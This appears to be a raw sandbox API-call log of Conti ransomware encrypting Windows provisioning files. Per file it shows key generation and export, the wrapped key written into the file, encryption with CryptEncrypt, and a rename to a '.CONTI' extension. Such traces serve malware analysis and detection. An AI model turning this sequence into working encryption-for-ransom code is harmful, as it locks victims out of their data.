	[0111.631] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.631] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.632] GetProcessHeap () returned 0x1720000
	[0111.632] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.632] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0111.632] GetProcessHeap () returned 0x1720000
	[0111.632] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65733d0 | out: hHeap=0x1720000) returned 1
	[0111.632] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.632] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17f7910 | out: phKey=0x17f7910*=0x6b7f2b8) returned 1
	[0111.632] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f7914, pdwDataLen=0x54bfc14 | out: pbData=0x17f7914*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.633] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.633] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.634] GetLastError () returned 0x0
	[0111.634] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=714) returned 1
	[0111.634] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0111.634] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.634] SetEndOfFile (hFile=0x40c) returned 1
	[0111.634] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.634] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.634] WriteFile (in: hFile=0x40c, lpBuffer=0x17f7914*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17f7914*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.645] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.645] ReadFile (in: hFile=0x40c, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2ca, lpOverlapped=0x0) returned 1
	[0111.645] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2ca, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0) returned 1
	[0111.645] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.645] WriteFile (in: hFile=0x40c, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.645] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.645] WriteFile (in: hFile=0x40c, lpBuffer=0x17f7908*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17f7908*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.646] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.646] CloseHandle (hObject=0x40c) returned 1
	[0111.646] GetProcessHeap () returned 0x1720000
	[0111.646] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.646] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml"
	[0111.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.646] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.647] GetProcessHeap () returned 0x1720000
	[0111.647] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.647] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0111.647] GetProcessHeap () returned 0x1720000
	[0111.647] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65740a0 | out: hHeap=0x1720000) returned 1
	[0111.647] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.647] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17f86c0 | out: phKey=0x17f86c0*=0x6b7f178) returned 1
	[0111.647] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f86c4, pdwDataLen=0x54bfc14 | out: pbData=0x17f86c4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.648] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.648] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.649] GetLastError () returned 0x0
	[0111.649] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=717) returned 1
	[0111.649] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0111.649] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.649] SetEndOfFile (hFile=0x40c) returned 1
	[0111.649] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.649] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.649] WriteFile (in: hFile=0x40c, lpBuffer=0x17f86c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17f86c4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.653] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.653] ReadFile (in: hFile=0x40c, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2cd, lpOverlapped=0x0) returned 1
	[0111.653] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2cd, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0) returned 1
	[0111.653] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.653] WriteFile (in: hFile=0x40c, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.653] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.653] WriteFile (in: hFile=0x40c, lpBuffer=0x17f86b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17f86b8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.653] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.654] CloseHandle (hObject=0x40c) returned 1
	[0111.654] GetProcessHeap () returned 0x1720000
	[0111.654] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.654] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml"
	[0111.654] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.654] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.655] GetProcessHeap () returned 0x1720000
	[0111.655] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.655] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0111.655] GetProcessHeap () returned 0x1720000
	[0111.655] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6573a38 | out: hHeap=0x1720000) returned 1
	[0111.655] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.655] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17f8230 | out: phKey=0x17f8230*=0x6b7f478) returned 1
	[0111.655] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f8234, pdwDataLen=0x54bfc14 | out: pbData=0x17f8234*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.656] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.679] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.684] GetLastError () returned 0x0
	[0111.684] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=640) returned 1
	[0111.684] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x280
	[0111.684] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.689] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.699] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.699] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.699] WriteFile (in: hFile=0x3ec, lpBuffer=0x17f8234*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17f8234*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.702] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.702] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x280, lpOverlapped=0x0) returned 1
	[0111.702] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x280, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x290) returned 1
	[0111.702] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.702] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x290, lpOverlapped=0x0) returned 1
	[0111.702] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.702] WriteFile (in: hFile=0x3ec, lpBuffer=0x17f8228*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17f8228*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.702] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.702] CloseHandle (hObject=0x3ec) returned 1
	[0111.702] GetProcessHeap () returned 0x1720000
	[0111.702] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b6a028
	[0111.703] lstrcpyW (in: lpString1=0x6b6a028, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml"
	[0111.703] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.703] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.704] GetProcessHeap () returned 0x1720000
	[0111.704] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b6a028 | out: hHeap=0x1720000) returned 1
	[0111.704] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0111.704] GetProcessHeap () returned 0x1720000
	[0111.704] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6573f58 | out: hHeap=0x1720000) returned 1
	[0111.705] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.705] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17ffe70 | out: phKey=0x17ffe70*=0x6b7f4f8) returned 1
	[0111.705] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17ffe74, pdwDataLen=0x54bfc14 | out: pbData=0x17ffe74*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.705] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.707] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.708] GetLastError () returned 0x0
	[0111.708] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=713) returned 1
	[0111.708] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0111.708] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.708] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.710] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
